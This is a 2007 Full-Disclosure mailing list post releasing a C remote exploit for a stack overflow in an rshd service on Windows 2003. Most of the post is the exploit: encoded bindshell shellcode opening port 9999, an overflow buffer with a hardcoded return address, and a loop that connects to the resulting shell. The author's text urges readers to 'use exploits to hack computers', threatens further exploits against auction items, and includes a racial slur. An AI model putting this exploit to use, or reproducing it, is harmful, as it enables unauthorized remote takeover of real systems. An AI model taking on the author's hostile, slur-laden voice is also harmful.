Message-Id: <20070724164225.A2223DA827@mailserver7.hushmail.com>
Date: Tue, 24 Jul 2007 12:42:23 -0400
From: "Joey Mengele" <joey.mengele@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>
Cc: 
Subject:  WabiSabiLabi exploit attached

Attached and in-line is an exploit for a newly announced item on 
the WabiSabiLabi auction block. I hope this completely devalues the 
item so that the original finder dies of starvation.

DON'T SELL BUGS THROUGH WABISABILABLA

USE EXPLOITS TO HACK COMPUTERS INSTEAD

Exploit is for a stack overflow in http://rshd.sourceforge.net. It 
took about 35 minutes to find the bug and exploit it on Win2k3 
using the information provided to the public by WabiSabiLabi.

Expect exploits for the rest of the auction items in the next week. 
Mayber sooner if Simon @ snosoft.com stops trying to cyber with me 
LOLOLOLOLOLOL niggerdongs.

J

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

#define ESIZ 1 + 1 + 1 + 1 + 1 + 1028

int
main (int argc, char *argv[])
{
  unsigned char win32_bindshell[] =     // 9999 tcp
    "AAAAAAAAAAAAA"
    
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
    
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x37\x5a\x6a\x66"
    
"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x76\x41\x32\x41\x41\x32"
    
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x79\x79\x4b\x4c\x32"
    
"\x4a\x7a\x4b\x42\x6d\x78\x68\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f\x75"
    
"\x30\x6e\x6b\x42\x4c\x45\x74\x71\x34\x6c\x4b\x41\x55\x57\x4c\x4e"
    
"\x6b\x33\x4c\x53\x35\x51\x68\x55\x51\x68\x6f\x4c\x4b\x72\x6f\x56"
    
"\x78\x6e\x6b\x61\x4f\x77\x50\x76\x61\x38\x6b\x52\x69\x4e\x6b\x36"
    
"\x54\x4e\x6b\x67\x71\x4a\x4e\x76\x51\x4f\x30\x6d\x49\x4e\x4c\x4d"
    
"\x54\x4b\x70\x41\x64\x43\x37\x4b\x71\x6b\x7a\x76\x6d\x54\x41\x4f"
    
"\x32\x7a\x4b\x6a\x54\x45\x6b\x33\x64\x56\x44\x77\x58\x34\x35\x6b"
    
"\x55\x4c\x4b\x61\x4f\x46\x44\x55\x51\x58\x6b\x31\x76\x6c\x4b\x46"
    
"\x6c\x30\x4b\x4e\x6b\x61\x4f\x75\x4c\x64\x41\x38\x6b\x53\x33\x54"
    
"\x6c\x4c\x4b\x6d\x59\x50\x6c\x64\x64\x55\x4c\x30\x61\x6b\x73\x74"
    
"\x71\x4b\x6b\x51\x74\x4c\x4b\x51\x53\x70\x30\x4c\x4b\x77\x30\x36"
    
"\x6c\x4c\x4b\x72\x50\x35\x4c\x4e\x4d\x6c\x4b\x73\x70\x57\x78\x31"
    
"\x4e\x42\x48\x4e\x6e\x50\x4e\x76\x6e\x5a\x4c\x30\x50\x6b\x4f\x49"
    
"\x46\x75\x36\x56\x33\x53\x56\x75\x38\x37\x43\x34\x72\x35\x38\x74"
    
"\x37\x54\x33\x44\x72\x63\x6f\x71\x44\x4b\x4f\x7a\x70\x42\x48\x38"
    
"\x4b\x38\x6d\x6b\x4c\x47\x4b\x30\x50\x4b\x4f\x4e\x36\x51\x4f\x4f"
    
"\x79\x4d\x35\x42\x46\x4b\x31\x7a\x4d\x33\x38\x57\x72\x76\x35\x61"
    
"\x7a\x46\x62\x4b\x4f\x6e\x30\x51\x78\x4b\x69\x67\x79\x59\x65\x6c"
    
"\x6d\x41\x47\x4b\x4f\x6e\x36\x41\x43\x56\x33\x76\x33\x52\x73\x70"
    
"\x53\x51\x53\x70\x53\x32\x63\x32\x73\x6b\x4f\x4e\x30\x41\x76\x62"
    
"\x48\x36\x47\x54\x4f\x41\x76\x72\x73\x4f\x79\x49\x71\x4e\x75\x31"
    
"\x78\x6e\x44\x67\x6a\x64\x30\x4f\x37\x70\x57\x69\x6f\x6e\x36\x70"
    
"\x6a\x74\x50\x62\x71\x73\x65\x4b\x4f\x38\x50\x62\x48\x4c\x64\x4e"
    
"\x4d\x64\x6e\x58\x69\x62\x77\x4b\x4f\x7a\x76\x50\x53\x51\x45\x39"
    
"\x6f\x58\x50\x71\x78\x6b\x55\x53\x79\x6f\x76\x53\x79\x36\x37\x39"
    
"\x6f\x79\x46\x72\x70\x61\x44\x33\x64\x62\x75\x59\x6f\x48\x50\x4a"
    
"\x33\x51\x78\x6d\x37\x71\x69\x79\x56\x71\x69\x70\x57\x6b\x4f\x6e"
    
"\x36\x51\x45\x69\x6f\x6e\x30\x45\x36\x63\x5a\x41\x74\x35\x36\x72"
    
"\x48\x30\x63\x50\x6d\x6f\x79\x59\x75\x63\x5a\x52\x70\x43\x69\x37"
    
"\x59\x58\x4c\x4f\x79\x79\x77\x52\x4a\x33\x74\x4d\x59\x39\x72\x55"
    
"\x61\x4f\x30\x7a\x53\x6d\x7a\x79\x6e\x47\x32\x76\x4d\x69\x6e\x47"
    
"\x32\x34\x6c\x6d\x43\x6c\x4d\x72\x5a\x54\x78\x4e\x4b\x4c\x6b\x6c"
    
"\x6b\x75\x38\x52\x52\x4b\x4e\x4e\x53\x55\x46\x79\x6f\x71\x65\x41"
    
"\x54\x59\x6f\x4e\x36\x43\x6b\x71\x47\x51\x42\x52\x71\x62\x71\x52"
    
"\x71\x51\x7a\x33\x31\x56\x31\x46\x31\x51\x45\x50\x51\x59\x6f\x4e"
    
"\x30\x50\x68\x4c\x6d\x6e\x39\x53\x35\x6a\x6e\x62\x73\x49\x6f\x5a"
    
"\x76\x50\x6a\x59\x6f\x4b\x4f\x34\x77\x59\x6f\x5a\x70\x6c\x4b\x32"
    
"\x77\x39\x6c\x6c\x43\x4b\x74\x61\x74\x6b\x4f\x6a\x76\x50\x52\x79"
    
"\x6f\x6e\x30\x42\x48\x7a\x4f\x6a\x6e\x59\x70\x63\x50\x42\x73\x4b"
    "\x4f\x48\x56\x79\x6f\x4e\x30\x66";

  char *buf;
  int *ptr;
  int i, c, sck;
  struct sockaddr_in address;
  struct hostent *hp;

  if (argc < 2)
    {
      printf ("usage: %s address\n", argv[0]);
      exit (-1);
    }
// lsd-pl arrayd.c
  sck = socket (AF_INET, SOCK_STREAM, 0);
  bzero (&address, sizeof (address));
  address.sin_family = AF_INET;
  address.sin_port = htons (514);
  if (0 !=
      bind (sck, (struct sockaddr *) &address, sizeof (struct 
sockaddr_in)))
    {
      perror ("bind");
      exit (-344);
    }
  if ((address.sin_addr.s_addr = inet_addr (argv[1])) == -1)
    {
      if ((hp = gethostbyname (argv[1])) == NULL)
        {
          errno = EADDRNOTAVAIL;
          perror ("error");
          exit (-1);
        }
      memcpy (&address.sin_addr.s_addr, hp->h_addr, 4);
    }
  if (connect (sck, (struct sockaddr *) &address, sizeof (address)) 
< 0)
    {
      perror ("error");
      exit (-1);
    }
  buf = malloc (ESIZ);
  memcpy (buf, "\x00\x41\x00\x41\x00", 5);
  memset (buf + 5, 0x41, 1028);
  memcpy (buf + 5, win32_bindshell, sizeof (win32_bindshell) - 1);
  ptr = (int *) (buf + 5 + 1024);
  *ptr = 0x71ae36b7;            // call esi in wshtcpip in win2k3 
SP1
  write (sck, buf, ESIZ);
  close (sck);
  sleep (1);

  sck = socket (AF_INET, SOCK_STREAM, 0);
  bzero (&address, sizeof (address));
  address.sin_family = AF_INET;
  address.sin_port = htons (9999);
  if ((address.sin_addr.s_addr = inet_addr (argv[1])) == -1)
    {
      if ((hp = gethostbyname (argv[1])) == NULL)
        {
          errno = EADDRNOTAVAIL;
          perror ("error");
          exit (-1);
        }
      memcpy (&address.sin_addr.s_addr, hp->h_addr, 4);
    }
  if (connect (sck, (struct sockaddr *) &address, sizeof (address)) 
< 0)
    {
      perror ("error");
      exit (-1);
    }
  do_shell (sck);

}

// cvs_linux_freebsd_HEAP.c
int
do_shell (int sockfd)
{
  while (1)
    {
      fd_set fds;
      FD_ZERO (&fds);
      FD_SET (0, &fds);
      FD_SET (sockfd, &fds);
      if (select (FD_SETSIZE, &fds, NULL, NULL, NULL))
        {
          int cnt;
          char buf[1024];
          if (FD_ISSET (0, &fds))
            {
              if ((cnt = read (0, buf, 1024)) < 1)
                {
                  if (errno == EWOULDBLOCK || errno == EAGAIN)
                    continue;
                  else
                    break;
                }
              write (sockfd, buf, cnt);
            }
          if (FD_ISSET (sockfd, &fds))
            {
              if ((cnt = read (sockfd, buf, 1024)) < 1)
                {
                  if (errno == EWOULDBLOCK || errno == EAGAIN)
                    continue;
                  else
                    break;
                }
              write (1, buf, cnt);
            }
        }
    }
}

--
HASH(0x8bd74b8)
HASH(0x8be1f04)
http://tagline.hushmail.com/fc/Ioyw6h4dDc4UON6zqXkGxAhIsRJpEIRTCbGHNG9XzVUzxmwK74FXc8/




Download attachment "exploit.c" of type "application/octet-stream" (5953 bytes)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists